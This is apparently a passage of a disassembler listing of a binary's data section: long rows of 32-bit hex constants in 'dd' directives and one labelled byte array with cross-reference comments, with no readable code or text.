		dd 8202F0C9h, 34DE54A9h, 0A1975808h, 7A00E13Ah,	0D3C6031Fh
		dd 1900E2C3h, 0FF73F241h, 3B0F9457h, 0B004B07h,	0E61F3227h
		dd 9D003847h, 0ECC079D9h, 3E9B0AACh, 4400B985h,	410772CEh
		dd 5E000437h, 2176F21Eh, 0F0EC70h, 0BE9091BBh, 0EC3D4FFh
		dd 0F2406200h, 7A41DC74h, 43600CF5h, 8881709Ah,	85F9539h
		dd 88217E67h, 6A701C15h, 0DE6D00BFh, 6517983Dh,	0C31D884Ah
		dd 0D9007D07h, 0AA248A59h, 25CC0C0Ah, 7660DA05h, 42C13703h
		dd 181DB204h, 858FF10h,	0C330C407h, 0A946A13Eh,	0BCDC1DCEh
		dd 52303EDEh, 0B2CF8419h, 34871B1Ch, 0F873420Ch, 8336D9Ah
		dd 0C6189C20h, 49223C20h, 720BD308h, 316CDA0Ch,	846557E8h
		dd 1A911B00h, 9D3092BBh, 0E8FBC0A1h, 28037605h,	33FF1288h
		dd 9118019Ch, 0F447B8F5h, 41B880F0h, 35BAD7D3h,	6A7286h
		dd 11120BACh, 0FB1F94EFh, 0B906EE74h, 693599CBh, 4D41418h
		dd 48878842h, 31079Ch, 13F06D8Eh, 84389A29h, 40E6020Ch
		dd 6A6C0247h, 7C720AA7h, 0D342F480h, 0F91D0571h, 0A0281178h
		dd 13CDE21Fh, 0FB24BC00h, 0A0311E0Bh, 0D348E80h, 95052F5Fh
		dd 60104058h, 59032230h, 9A61979Fh, 0F606971Dh,	0E2041940h
		dd 1750A11Ch, 3CE429B1h, 0F487E982h, 0F20088BDh, 6575F5h
		dd 5AFE951Eh, 0CFFA6E8h, 49905750h, 0C861902Ah,	1AE81662h
		dd 0C9B82168h, 5B0801Ch, 395C29FBh, 1030AC30h, 0A10EF5E7h
		dd 0C841E2A7h, 48FA13DCh, 49DE6F00h, 7A4849h, 5B623DF6h
		dd 186358E8h, 0AA57C02h, 401E2649h, 806F6508h, 887B426Ch
		dd 92E5D407h, 5C00FA1Ch, 0C201F913h, 78D3BA71h,	6DF886E3h
		dd 1B054167h, 6605248Fh, 48ECA841h, 51806ECAh, 3B011CC7h
		dd 0C5E81B6Ah, 28A06350h, 0AED421h, 0B6F6793Fh,	0DB5020C7h
		dd 0B90080E0h, 76E1E392h, 74F4AF0h, 1CD2BFAAh, 9AA99089h
		dd 1E282240h, 0F9ECACE7h, 5DA10560h, 0C097A4D6h, 5C213BF9h
		dd 5091ABF4h, 96709C67h, 54349FF8h, 314829h, 7387E1E2h
		dd 115B6F63h, 21BFE3Ah,	7DF14BA2h, 20007730h, 0DDB52483h
		dd 94BB1E00h, 28501F56h, 0FC5A1C75h, 0CEC65844h, 2503E622h
		dd 3915DD2Bh, 0CD8498D2h, 66450050h, 0F0447891h, 0F20CA08Bh
		dd 30DDFD02h, 5C82309Dh, 5B139438h, 47C15100h, 555DCD26h
		dd 0AF3E002Ah, 45D57ED6h, 4078F87Ch, 59484200h,	0CC843ADFh
		dd 580806D9h, 48775386h, 782EB50Ch, 1FE42160h, 80FBE528h
		dd 0B67D47C8h, 0FD0AF3D8h, 18E02A3Ch, 80613008h, 835E4601h
		dd 7E06AF3Fh, 442FCE22h, 2D78C829h, 4C60F783h, 49E4D8F2h
		dd 0A04B00EBh, 0DC4DE65Bh, 9E39E13Bh, 7C460634h, 541F22Dh
		dd 2A75CA43h, 820808F6h, 0E3DF6511h, 407DDD0Fh,	0A8C69477h
		dd 74FC1D50h, 87A40197h, 80B52C0Bh, 3B952578h, 1E3D811h
		dd 0C4FACE7Eh, 0F4936ECDh, 5409A208h, 80B23813h, 0B8F61BE0h
		dd 0CD8AADCh, 0E0FF0820h, 1EA2188Ch, 522F1924h,	765E5614h
		dd 916705A0h, 0E41F4695h, 9D93DDC3h, 0D04101E4h, 9A8DE36Ch
		dd 3628E04Dh, 50746414h, 33661EE8h, 789FA2C0h, 115552Bh
		dd 0BD5A1876h, 2250083Dh, 0D5D9C420h, 5024C810h, 4C974104h
		dd 0C8492Dh, 72A505D0h,	0D51E24F8h, 0D0D0D776h,	95758706h
		dd 2D00C993h, 0DB8CC59Eh, 0C051910Eh, 786AAC51h, 832C2BD2h
		dd 0AA1E7009h, 32CB50Fh, 2485E25h, 0E35ADC1Ah, 3090FCB7h
		dd 0B1C5A59Ch, 481F7A2Ah, 709B0580h, 3E77A3A6h,	99036F71h
		dd 4523842Bh, 0EA2CD2BFh, 0DE598A0h, 2E1C834Bh,	0BB80ADD1h
		dd 0A731DB7Dh, 0FE660078h, 53911FDFh, 0F4A1425Dh, 9EE10E9h
		dd 237EB2h, 10C64BBAh, 0BD6F834h, 6A0DA507h, 2DB51CE9h
		dd 9F541800h, 8491D9h, 0BC8B9D72h, 0E0F6C641h, 0BAF30B00h
		dd 7F5B1126h, 187980A0h, 4A49FA00h, 361D5610h, 0F10203D5h
		dd 0F7DB9CA6h, 29F2E809h, 0FF102022h, 780A9h, 37555BDh
		dd 349B18C7h, 0ED678A00h, 250EA6E4h, 523C768Bh,	0E13DC8CAh
		dd 0C0A0D6AAh, 82C80360h, 40789DAEh, 0A8FA20C6h, 6B183DC1h
		dd 2C5D0280h, 791B2EB3h, 41A620CCh, 97C737E4h, 3F646059h
		dd 6007031Ah, 685027FEh, 790F22B0h, 0AF6EA38h, 0B6AADCD4h
		dd 0F8803EF4h, 222ABBE5h, 46C1D257h, 8BC3DDAFh,	7D1D5FCCh
		dd 0A93602E9h, 0ACC99203h, 42848483h, 0DEEFBA99h, 9C21EBE2h
		dd 242B5854h, 3500A904h, 1F815C5Dh, 7BDC9AB7h, 5253FA3Eh
		dd 0F9038083h, 77115C0Ch, 0E4E7C03Fh, 1088FF19h, 514560DAh
		dd 854395C9h, 98DE4D00h, 2E66AD80h, 72B100B4h, 9EA687Fh
		dd 0EC00303Fh, 442CF0DBh, 0E6C71F1Dh, 5C161F52h, 2BC80026h
		dd 70A04FC5h, 7505B038h, 0CABC8000h, 9BA46FDCh,	1F9F39ABh
		dd 0DDF67007h, 72370108h, 4F3087C4h, 204CD542h,	0E374036Eh
		dd 72AD2520h, 73C1300Dh, 8E0913Bh, 1319C0AFh, 0EEE1A995h
		dd 46F6A300h, 479B7EA2h, 718FECE2h, 9CEA30ECh, 3B887260h
		dd 0E40FA4E2h, 44350929h, 6300E07Bh, 8DA1997Ah,	0C5F81F03h
		dd 1C5BE371h, 0C08A52C9h, 1019DD63h, 0E00895EEh, 3E77EDCBh
		dd 7A38780h, 0FD423953h, 21E31000h, 0F6B3DAFFh,	0E28E0057h
		dd 5C2EE47Ah, 6777878Ah, 3F919660h, 7A93746Dh, 1EA707EDh
		dd 468E3044h, 0D600E938h, 83FC7457h, 0B6C71F4h,	0CC293B4Ch
		dd 0E8C4680h, 0B700AAB3h, 0B828DC41h, 517098EFh, 99F3CB6Dh
		dd 0B0F1DB76h, 0E8D99450h, 4CBB0AD5h, 21E43AEDh, 18887174h
		dd 4EAF03B7h, 0B169C6F8h, 0C32DA2E0h, 0DF51EC64h, 1A07DC60h
		dd 1149DD23h, 553E8Dh, 188EF505h, 0FEA0D6h, 7F6D3453h
		dd 0E202BF54h, 0E7B19D01h, 33AAA72h, 76DD180h, 0C4D51BFFh
		dd 9CCA2C00h, 0AC17DE19h, 0AD4C0009h, 0B2630DA2h, 9D00F80Bh
		dd 38C75745h, 2BBA94Eh,	58F43E41h, 61C007B9h, 0A00FC6B2h
		dd 40F5FF48h, 451A769h,	97BA0249h, 6E7D718Ch, 90F7AB87h
		dd 48AB95ECh, 0B87AB702h, 80474F22h, 7FC731B6h,	369C3FC9h
		dd 6EDE1C07h, 82C2E044h, 77002989h, 0B4190122h,	960EACh
		dd 0E8BAB139h, 25953A7Ch, 3D1B4E07h, 2480694Dh,	1F44C790h
		dd 35A0F33h, 0D16E6D1Ah, 0F4698181h, 1700F34Bh,	36F66CB2h
		dd 9033508h, 97B93EFBh,	16078FDCh, 0EC2215Ah, 0F0AB4027h
		dd 11B7359h, 390ACF86h,	0E4CC753Ch, 100699Fh, 4F6FD807h
		dd 0C3E0955h, 0E547D3ACh, 34F84818h, 85B4BC07h,	0E6E4B391h
		dd 6B4EF003h, 862A92A0h, 39A91C60h, 0C7D8710h, 0D5D05925h
		dd 293CD710h, 0BDD6136Eh, 6A3C8000h, 5CFF0Ah, 270F721Bh
		dd 5EDE3281h, 0FB425603h, 0D07FA944h, 180AE061h, 1413AE6Bh
		dd 3C05E1FAh, 2A2243D8h, 630B11C0h, 4879033Fh, 77E5320h
		dd 0B1AD6BC0h, 30F977FEh, 6439D514h, 9EF880BBh,	72B2FE57h
		dd 699458B0h, 0A0BED800h, 186ABB0Bh, 0FE9A7E00h, 0E562ED7Fh
		dd 0F06D0F99h, 960D1E2h, 8BB5942Bh, 29DE8107h, 0E2066EBh
		dd 123208h, 9A146337h, 90254F94h, 2F019300h, 19D5051Bh
		dd 3A5773A9h, 7B5162h, 0EF9F3D6Eh, 33B5EA44h, 1E0F9C48h
		dd 45973E0Eh, 22B2EF01h, 1AECABBAh, 298000E6h, 8D789EC4h
		dd 0A2004117h, 2E3CAC18h, 691289h, 381DFC09h, 43F67334h
		dd 91079E00h, 794E8CE9h
		dd 6080A7Eh, 103AF3h, 26CAFD0Bh, 7C26DD2Ah, 19004050h
		dd 7CE4D27h, 0B669006Eh, 0BCD1D2B5h, 3C0E3B77h,	60897C06h
		dd 1EAE74C6h, 0FD2507CCh, 43760C69h, 0ECABBE4h,	0B0B61AE3h
		dd 0FAD5890Fh, 0F8A76041h, 3F19EEE8h, 2680A001h, 71B517FDh
		dd 89197F91h, 0F429E702h, 61C39E08h, 11720917h,	11FB3429h
		dd 0B421E780h, 886FED08h, 0BC88FFF7h, 0C0A91EEAh, 3010E898h
		dd 0E23D5265h, 561200B4h, 0C55E02D7h, 0EF910061h, 0E86CA05Fh
		dd 7EF2F2F9h, 74B61D00h, 0F7D29516h, 27100C4h, 8D124BFCh
		dd 0AF3F7355h, 3C93806Fh, 0F82FB472h, 8E7E3E24h, 537D4300h
		dd 0D4C2261Ah, 9938A2ECh, 8545848Bh, 0C80A38Ah,	36C395h
		dd 0BC37CBFEh, 29AC4D70h, 2A7CA39h, 656B851Ch, 9BF4C0A2h
		dd 0F12A0103h, 660F8407h, 6F75F4AFh, 7B1C5E0Fh,	207F8047h
		dd 0F8D1058Ah, 42120085h, 3D9787E0h, 9200A283h,	0A5726B84h
		dd 4880D6C9h, 1A00AC32h, 68153033h, 91011728h, 1F641637h
		dd 47D05DDAh, 0FA04003Ch, 0A1D27276h, 0BE0056B2h, 3610BF8Eh
		dd 0CC5980h, 77E2EB07h,	0B539AC5Dh, 0DCAE7C06h,	961BE7Dh
		dd 4C637216h, 0A4940800h, 970099CDh, 3CDDC383h,	712DE28h
		dd 6AE6F1A9h, 0D86D2078h, 0B600B09Dh, 2661C66Eh, 3FD60556h
		dd 0E5077118h, 0C070D765h, 4F9369Eh, 23631416h,	1AED6D00h
		dd 1C735778h, 6828A118h, 0E4FDFCC4h, 0B83A50ECh, 8F5400B7h
		dd 0EEE98C2Ah, 0D10F7389h, 407A1C2Dh, 5DB51E64h, 0B83700ECh
		dd 97BEA887h, 0E61C95E4h, 0B9C0A015h, 434F96B5h, 3CC37C5Eh
		dd 260F73A8h, 9BE019AEh, 0FEFF10A9h, 23F19A01h,	4D163A68h
		dd 748800D7h, 31D7589Ch, 0B350F09Eh, 2F0017B4h,	0DFF689BFh
		dd 48DCD6C7h, 401E18EBh, 70AC2887h, 0D3E300A1h,	0DCAF27F1h
		dd 7E4080FBh, 0FC380030h, 78C2F4C7h, 460C6575h,	71D19E52h
		dd 89DA136Fh, 4F3800CCh, 0DE47EA28h, 8F96C000h,	1D028DF8h
		dd 74F14885h, 716A3800h, 0A75E1B31h, 64A8D417h,	4057A603h
		dd 0F818B045h, 2A630044h, 0C4B76167h, 20077BAEh, 5A3F3554h
		dd 2E1E2670h, 0E92011Bh, 564503EEh, 9EE57096h, 352CFE00h
		dd 0C670C0A4h, 8A4D0076h, 0C7B5A9F4h, 62703450h, 1E0096B0h
		dd 618B7DA8h, 30D99EA4h, 7EDE4CEEh, 360E7C34h, 606C11FAh
		dd 60E1B81Bh, 5A8B0963h, 34258094h, 25E4C04Dh, 961CBC62h
		dd 138A33Eh, 6EB269EBh,	2E8F435h, 0A07200E4h, 0BCF7E2BDh
		dd 14008A37h, 6E2EB93Dh, 287CAF45h, 399B8B0Bh, 4790874h
		dd 3B03C61Fh, 7C88072h,	0D260DF43h, 0AA216722h,	9582070Ch
		dd 41F03D73h, 304313A7h, 580049D1h, 1CA97D4Dh, 12DE75F4h
		dd 16EFD859h, 5B520044h, 0F377B1E1h, 6423700h, 0B8D3CC1Ch
		dd 26E3142Dh, 23009EBFh, 81DAFABCh, 0EC2E0BB5h,	0DD247288h
		dd 519A500h, 0C87C37Bh,	2EE0B92Ch, 1B005210h, 86ED0B25h
		dd 0B2406Ah, 0BD73FCACh, 181DFB9Eh, 151CE098h, 0B538002h
		dd 6B913A00h, 3FEA4Ah, 3385A247h, 0B97F4B8Fh, 0DC6748h
		dd 98CD2EA3h, 1520DE4h,	6D0190CEh, 0DC93EF79h, 7639772Dh
		dd 1AEC00FEh, 0B44B6E49h, 0A6AE00A1h, 0E23934B3h, 8A073C2Eh
		dd 0F10B599Ch, 7F49CED0h, 9DE255h, 206D458Dh, 7EDF0173h
		dd 29964E00h, 1DCBF0BBh, 182E6DAh, 0E9B18C69h, 0C43AEFDCh
		dd 105BCC9h, 8AF04A36h,	3276CC03h, 88A1F896h, 910B00EBh
		dd 8651DBB5h, 5E001E05h, 0D77AA57Eh, 0E003F8h, 0B8CCAE6Dh
		dd 0DF11A9DDh, 0C01C2890h, 81505C94h, 0DBB19E00h, 8FD88D85h
		dd 0B0CF9500h, 0DC4EE7D1h, 0C69300AAh, 6720DAACh, 22051888h
		dd 11B3D862h, 48EE1492h, 2CF1F2Ch, 0D6BAF401h, 284003E2h
		dd 4AF81E27h, 0E54080h,	133002F8h, 0FE44AC34h, 0A68F4300h
		dd 59577BA5h, 45C107EEh, 0E0E474E6h, 28340BD8h,	9078E3Eh
		dd 8CB856h, 0ADF89FBCh,	0CE8A07E6h, 8FE980EDh, 0F972E740h
		dd 0B2001F9Dh, 4FE104DDh, 36B361h, 506AA1A9h, 3B1195FFh
		dd 5D0088B0h, 867BAD47h, 0DEA0DBh, 0FFCF234Bh, 65927802h
		dd 30E1C61Fh, 5E678200h, 3F3B5Dh, 45DF90C2h, 1892F793h
		dd 0D308970Eh, 0E15FA458h, 0DACEF480h, 10FF0029h, 0C8637DBBh
		dd 5A01474Eh, 0AA3562F7h, 0C0C0C682h, 0BD880060h, 734303A6h
		dd 0B30925D4h, 47E14621h, 0CFF7900h, 1D709027h,	0C0092FE9h
		dd 0B652C9BEh, 8F00A7FDh, 3CD574CCh, 92C47EFCh,	10D058ACh
		dd 55FAC50h, 6C800692h,	4DCB8029h, 9F90A5C4h, 9B79197Dh
		dd 7DEE8800h, 9CC0611h,	434D006Ah, 6DE6276Eh, 81091B72h
		dd 87257C32h, 0FFE0DFF8h, 78F5FAC6h, 574F1CECh,	0A4C84197h
		dd 0D0872199h, 0FE0BDFB7h, 5A42EFh, 437772B3h, 8A6738D5h
		dd 5B00D848h, 0D254F9Dh, 0A767D4A8h, 92F1891Ah,	20CC397Bh
		dd 7C4F03A0h, 62E218C9h, 0EB8CC1E5h, 5A84700Ah,	89B37600h
		dd 0D5682E15h, 9B3C0126h, 7AE07561h, 34C8315Fh,	0BF002374h
		dd 0E908996Ah, 3693D47h, 0DBF4EB3Eh, 1DA0AFD9h,	0D8C01C8Fh
		dd 4AB1B996h, 3532004Ch, 7B187DE5h, 100B46Eh, 53CE217Ch
		dd 98CF7DFh, 63EBE1B3h,	0FCA05C8Fh, 0C4FF7434h,	0BD1F6002h
		dd 0E05D05B0h, 381B64h,	15CA0BE9h, 4FEFDD86h, 0AF631600h
		dd 0B6F15640h, 0C9CF090Ah, 4C801D38h, 25875574h, 3FD84A00h
		dd 0C26C10E3h, 0E1340770h, 1002B80Dh, 1F7317F7h, 1856E009h
		dd 0C02D8F0Fh, 48B0672Dh, 683930D9h, 0FBBF5B21h, 1AE1A700h
		dd 0ED244471h, 7020032Fh, 0A8328604h, 0C390DCD8h, 81D0B900h
		dd 7CBF05DAh, 0B74000F1h, 1B0BBD4Bh, 0FE002678h, 6AB8C1ADh
		dd 78AEC03Dh, 0BD320046h, 0B28F29F7h, 0D907099Eh, 0E6DCB17Fh
		dd 3224BC50h, 0AEF3AB4h, 7C0B8E80h, 0D8F71257h,	78181C30h
		dd 5104C5h, 0BDCE9967h,	0F7952921h, 4F7B6403h, 904AC375h
		dd 0D2B343h, 21B9FE86h,	266B593Bh, 5B7B3E00h, 0ACE050DAh
		dd 22FB0FD6h, 3121B244h, 0E440976Eh, 6C004E13h,	7F39030Eh
		dd 0F11F45h, 94D7C311h,	3715514Dh, 4B0B9770h, 8081C11Eh
		dd 9A89434Ch, 35190041h, 68B8456Ah, 0C20225E9h,	0E8503E39h
		dd 0B876C3B5h, 36197Ch,	6F8D331Bh, 5CE01016h, 0A66CE307h
		dd 4E40463Dh, 0E11C019h, 0C5CA7E4Bh, 0F59A65E0h, 0EF00B758h
		dd 74383A84h, 98E3AAh, 97273223h, 0C2D2AED4h, 0D6BD7A00h
		dd 0CE5F65A6h, 1C9C006Dh, 1822C7A4h, 0CFEA6C89h, 39A283Eh
		dd 0A90B06D8h, 0F7869071h, 0F68C000Ch, 0DD6EDA22h, 3B07A2A7h
		dd 7D0A500Fh, 0B01897D0h, 0E34A0033h, 8B9A57A6h, 0A4167CE7h
		dd 1401C63Bh, 37D215A2h, 0B0EB71C8h, 42D91E8Ch,	70B7980Fh
		dd 850090BFh, 0E6CB5847h, 3C406D5h, 715D8A17h, 4BF97EA8h
		dd 4F0BE4DCh, 2100927Dh, 6A8DE41Ch, 71F1B7Dh, 7099CD77h
		dd 0C4ADF04Eh, 510C25B7h, 68D7D3AEh, 0AC065F26h, 15080F7Ah
		dd 82800027h, 7FCD9EAAh, 1C02B4A5h, 0BA67C021h,	0DBA99C13h
		dd 0C0E82509h, 7C1800E6h, 7F6C159h, 0CDF5B463h,	679F80B8h
		dd 11006EC0h, 0F83C0C54h, 71F5D0Fh
		db 0D6h
byte_530055	db 0D3h, 0E3h, 0EFh	; DATA XREF: ___:off_437DC4o
					; ___:off_437DDCo
		dd 2720E05Eh, 8350B39Ch, 900040F0h, 66CAB7E2h, 3B96EEh
		dd 0F8BDDDA3h, 44180AB1h, 0D7C0755Bh, 1EEA56FBh, 8031D58Bh
		dd 9BA0C1EBh, 0E3000D09h, 4553DD70h, 26B264h, 0EFA9D47Eh
		dd 0E8AAA7CBh, 0F6E72400h, 0C5B6EC18h, 9330005Bh, 0FD81A1D8h
		dd 41014FB2h, 0E6CA01BAh, 0AFC4B4DEh, 44C10BDDh, 9B00D01Fh
		dd 0F2C9A5ABh, 0BE19753Eh, 0CC950181h, 5F078702h, 126DA181h
		dd 0F90D666Bh, 0D0FAE9ADh, 8B7C9817h, 1C71E51Eh, 32625342h
		dd 4F808F7Bh, 2F05212Bh, 8EB85A66h, 0D7836A03h,	0CCB818Ch
		dd 0E4E52698h, 0EEDCF00h, 0DB3E8EB2h, 0D133009Ah, 0DD5F601Dh
		dd 2900C9AAh, 28B32E5Ch, 480C4EC1h, 0CA00F325h,	0B7944A72h
		dd 0A70012F0h, 0C78F6979h, 792078B8h, 62916244h, 0D9C0435Fh
		dd 0DFE35DDh, 7347680Ah, 0AE009BAFh, 5A062FB3h,	66900099h
		dd 0D7E4BB4Ah, 53BE971h, 6AFF00D2h, 0CDAD0C01h,	95080017h
		dd 0F466423Bh, 704841DAh, 2C240007h, 5CCCA8C7h,	5DED0068h
		dd 95F97565h, 7839ADB8h, 0F3C61C96h, 63BBA980h,	16656Dh
		dd 83685479h, 0E01B5DC1h, 0C00F2F0Eh, 0E4F542D1h, 280C6104h
		dd 0FADE3EE4h, 2CEB00BAh, 0DA551CBh, 0AF03FE1Ch, 28EA071Fh
		dd 7D92F732h, 783CE04Dh, 6E7D9Dh, 0DD2F0126h, 0FAB3316Bh
		dd 0F763E91Dh, 801D528Bh, 4D87663Dh, 78D63D8Ah,	0FFB38280h
		dd 0CDB41FDh, 4E1E9100h, 367CC548h, 99CF3F9Fh, 0F8D73D80h
		dd 0C4EC045Dh, 0C2002CF2h, 0E94BF91Eh, 0E4FF7383h, 9C6B0026h
		dd 0C899A60Ah, 0ED006109h, 2827B9A7h, 4168CEh, 71E8FF87h
		dd 0BC1AFB6Dh, 0C885E000h, 4AD6B777h, 63E00CFh,	48BF5189h
		dd 697A97B4h, 0A20739E0h, 164EB636h, 0FF5F841Bh, 9A9C3EC1h
		dd 0E07E6AD1h, 8406B32Eh, 91F2AEEh, 90A50F41h, 927FE6h
		dd 6A7D4427h, 0ED0079C3h, 768A74D4h, 6CE9Ah, 86C95FA0h
		dd 0E1D14631h, 360133Ch, 6D40B5D2h, 3450FFA9h, 9DAB8Dh
		dd 77E1A6AFh, 76E5B7D3h, 57B62C1Eh, 0B5BE1100h,	3DB24B9Eh
		dd 7180BBDDh, 0B445C68Dh, 800004E1h, 810D17Ch, 182CBC89h
		dd 21BBE4EFh, 600FDB42h, 603D2422h, 168F501Ch, 617400E2h
		dd 0FD79F25Bh, 7C00178Ch, 0A9639D2Eh, 2DDA1Ch, 0A856F80Eh
		dd 0E869C72Fh, 0C900547Eh, 6C66286Fh, 261A7E3Fh, 6DF8043h
		dd 0D884EB18h, 6A770300h, 96502C0Bh, 5B3400FDh,	930CE1A3h
		dd 32E8A21Ch, 76D75300h, 0DE5AC479h, 0FE4B0094h, 0B8389596h
		dd 0EE000497h, 3510BD31h, 53F4D4h, 5928CB66h, 12A5D6DEh
		dd 0ED119C00h, 5A23B2D5h, 0A91A005Eh, 8284DD09h, 0DE185146h
		dd 8B287A83h, 68AE07F5h, 714B88DFh, 9F04470Ah, 0C2C09880h
		dd 0A637A20Ch, 0C080A08Ah, 0B67858EFh, 0F3B8CA00h, 0B219C41Ah
		dd 26203F00h, 0FE352C50h, 8124037Ah, 8B3C4311h,	0FFBC3801h
		dd 4A656015h, 0C29B108Bh, 74A0A580h, 0E80088B2h, 0C10F5A97h
		dd 71432F2Ch, 0F47F00F8h, 92A7DF9Ah, 89146F8Bh,	7D879EB4h
		dd 0E258E800h, 0A32B7E15h, 0BC3B0074h, 3DFC3744h, 5200DC49h
		dd 5BB7B809h, 0EB7BCEh,	8C7F1510h, 0E0B44669h, 872C0D01h
		dd 0B009C611h, 57308BE1h, 9A6201EBh, 2AFD5BB1h,	0E9ABE0C2h
		dd 5F176800h, 99DC744Bh, 3B890FEAh, 9020F15Ah, 4A8827AFh
		dd 0E7D4AE0Eh, 3116956h, 0E8C39CF1h, 42C870h, 309D8CCDh
		dd 456C264Dh, 0BB3B7A7Ch, 26D0183h, 0DEF638EAh,	17F171CCh
		dd 29D9029h, 0C1A3513h,	9F60C48Eh, 12727FC4h, 7EE65B07h
		dd 86A1664Fh, 3A80E2D4h, 0E02BD077h, 2F060D96h,	12D5BB25h
		dd 83D20098h, 3BBA983Dh, 0D900E7EEh, 0BC86EA95h, 3654EA7h
		dd 486A9202h, 4CB0509Dh, 1900F747h, 2FDAFC78h, 3858B7DBh
		dd 2E008ED2h, 618FC676h, 0D7001F3Ah, 5229E538h,	3B6C2D34h
		dd 791385E3h, 312400A2h, 0DE1DA510h, 0D0F58D03h, 8876627Eh
		dd 3DC96A09h, 8480237Dh, 1DDB922h, 0B490AA57h, 31692700h
		dd 9AA1FF11h, 0A0C00C1h, 2EF28D5Fh, 4C75054Bh, 282CA500h
		dd 8FC19E52h, 7E9000EAh, 0E96F1849h, 7200959Dh,	0BF7344CBh
		dd 1632CFh, 0A957A168h,	0BBD1C48Dh, 0EAD81D00h,	4CEEC0Fh
		dd 8F7A3B3Ah, 3D2514ACh, 25F2A89h, 79D82B8Bh, 4F2D361Fh
		dd 6325F080h, 7ADA71h, 9BCA0AC6h, 24918C3Fh, 2DE5FC03h
		dd 0A054909Ah, 0AAB5C2h, 39E23D22h, 0F192D90Ch,	83E13401h
		dd 0ED3F0667h, 7C94FD0h, 7325536Bh, 0D4B07016h,	5C250E63h
		dd 0EFDE32h, 1ACD7B98h,	9F3A24A4h, 0EA7282E2h, 40505BE7h
		dd 781020h, 0B20A6E36h,	629C61F3h, 394F400h, 32574EDAh
		dd 356C00D1h, 19DCE78Ch, 3E00BD3Ah, 83C3608Eh, 44511Eh
		dd 0AF2155BEh, 0CC23A026h, 9DBC58h, 9C6EF485h, 0DB8269h
		dd 0B5E944EDh, 0CB61CE5Eh, 0D0911B00h, 34F6C17h, 6B5A0068h
		dd 34489AEDh, 5C058738h, 618A1851h, 0ADE7F3C0h,	0A9F90073h
		dd 4AACC437h, 0DA1DD863h, 7B80446Dh, 0C622856Bh, 955005Ah
		dd 3386BE96h, 52007167h, 62AC4864h, 18878398h, 38DC09C5h
		dd 8F004F22h, 0FEB1A5E6h, 9DF82Fh, 591C3F3Eh, 6A1A1B58h
		dd 0FB00257Bh, 0DB7A1663h, 499518h, 130A88B0h, 0AA868501h
		dd 56D76D1Fh, 0C0509083h, 0A759B828h, 647B1E44h, 23BF0046h
		dd 913B115Eh, 5D802B00h, 0A7884CABh, 437C00B7h,	6E9DF8Ah
		dd 0FA041E2Dh, 2B26FE44h, 8FC3A980h, 0EC8800DEh, 1D8EC7BAh
		dd 0E47F3F10h, 72008BF6h, 33794DFCh, 1DFDFAEBh,	0E930A5h
		dd 5CA7D880h, 9530C16Ch, 8DD7A403h, 396014DAh, 1E0082F9h
		dd 0A7AD6640h, 56F2B730h, 0B1224500h, 36E96190h, 86750080h
		dd 0A4E150FBh, 0BC739385h, 0DE001C74h, 657A518Fh, 1CD466F8h
		dd 5D3F2888h, 1D6481EBh, 0DD901769h, 0D797D440h, 8A80C700h
		dd 0EBAA063h, 0F47C50h,	84ACFA66h, 148133B6h, 1F7F9001h
		dd 0DF3E6EE8h, 763A7920h, 0D23C0011h, 3978C2A6h, 0C0F0A95h
		dd 809DBF30h, 0A81A6534h, 0DC2200C5h, 0C9104D59h, 720E3A55h
		dd 0A05378AAh, 0C635EEF6h, 347977h, 0D32BE143h,	629171BBh
		dd 0C27ABF00h, 5F700A66h, 0E1A758A8h, 21270A7Fh, 17A8D2B2h
		dd 0D407ABB3h, 0E400585Ch, 0D4DB29h, 5B65A67h, 802EEDA2h
		dd 5EA80E00h, 30EF9D49h, 104D50CEh, 0E1DD00F8h,	47047844h
		dd 397A327Bh, 0BC1DC01h, 0DD8AB84h, 0D27040E2h,	2F030086h
		dd 0F7691E7Bh, 0C13E1C5Fh, 3084004Dh, 2799C68h,	183854D8h
		dd 316817Ah, 0E4383882h, 5F2C8A80h, 9F20C5C3h, 8CE0D0E7h
		dd 39D27950h, 18ACC830h, 7C92F00Eh, 69EF004Eh, 0DCF60268h
		dd 8E00B286h, 0ED971CC7h, 3705AA14h, 0E3B0DAA9h, 0E1F182C8h
		dd 0EC863139h, 5C0317B7h, 0EFF65DBBh, 4C9900F9h, 0A46ED87Dh
		dd 0EC33D9C6h, 0D8A841E5h, 283D78FEh, 2AB04C8Bh, 50B4D524h
		dd 74CC7C26h, 508F9808h, 0F7C1446h, 0A549E672h,	0C60EB2CFh
		dd 144A9660h, 0AF0F562Ch, 0CC76CD6Dh, 3B0630D9h, 79004DC8h
		dd 7AAC8BB9h, 5B382E83h, 0B8120498h, 3B8029F7h,	0D2FE9Ch
		dd 367F8B67h, 549BC682h, 420019E8h, 0FA8BC37h, 58CD04BBh
		dd 801F0A6h, 9B15BD91h,	48733036h, 9F01EA7Ah, 2E5B198Bh
		dd 0F4F8D87Ah, 64B40016h, 10A1C0C5h, 363C23BAh,	6D2D0088h
		dd 1B28D7B6h, 3246000Eh, 6EF5EB15h, 0FE07D582h,	17AE926Ah
		dd 1D9ABB1h, 2260DA71h,	0E1EF007Eh, 2147EA97h, 5804058Fh
		dd 0D832245Ch, 0A8FD1083h, 0DF8E6Ch, 0EF066D14h, 788742AAh
		dd 0DACAAC00h, 0C99076D3h
		dd 548800BDh, 96CFF179h, 0BCA0E0D1h, 0B4A47723h, 0D0833Bh
		dd 89B2C5A3h, 0A8677FD1h, 74C4D0h, 0C0B011E7h, 0A3684F86h
		dd 4670D800h, 366DFE79h, 3549DFh, 435C640Ch, 57700638h
		dd 0C7B9B600h, 71201153h, 0F320C165h, 804ED121h, 7B46BF29h
		dd 40B177F1h, 0DF00995Ah, 0AC585BA6h, 3028727Eh, 0C061E9D8h
		dd 563AF996h, 0C75480DFh, 8522F734h, 7964079Ah,	206EFD66h
		dd 0E6C53378h, 0C625D104h, 3497F9C8h, 0E37A4EF3h, 325DE8AFh
		dd 7019C0CCh, 0E7DDDCDAh, 0ACC2C100h, 0EF20DBF4h, 215E0FA9h
		dd 0CB010B4Ah, 0F0AB8D66h, 99032D3Bh, 782251A5h, 5AC9025Dh
		dd 657AE2Eh, 0EC38A8A0h, 6C038EABh, 0C5AC166Bh,	71DEC7h
		dd 533FFEBEh, 24CA1A92h, 2BDC5500h, 945B797Ch, 0C1580C34h
		dd 89A10C78h, 0A7C96207h, 0C08EFF23h, 0EA353E86h, 0F4FA007Ah
		dd 880BF62Eh, 0C8F82363h, 7C723400h, 842C123Dh,	0E6740765h
		dd 414768FFh, 311F62EBh, 0FCE5E0C2h, 0E7349D00h, 0BC7B42B4h
		dd 8F9F076Fh, 26503C63h, 11F404Ch, 450D6978h, 40A605Ch
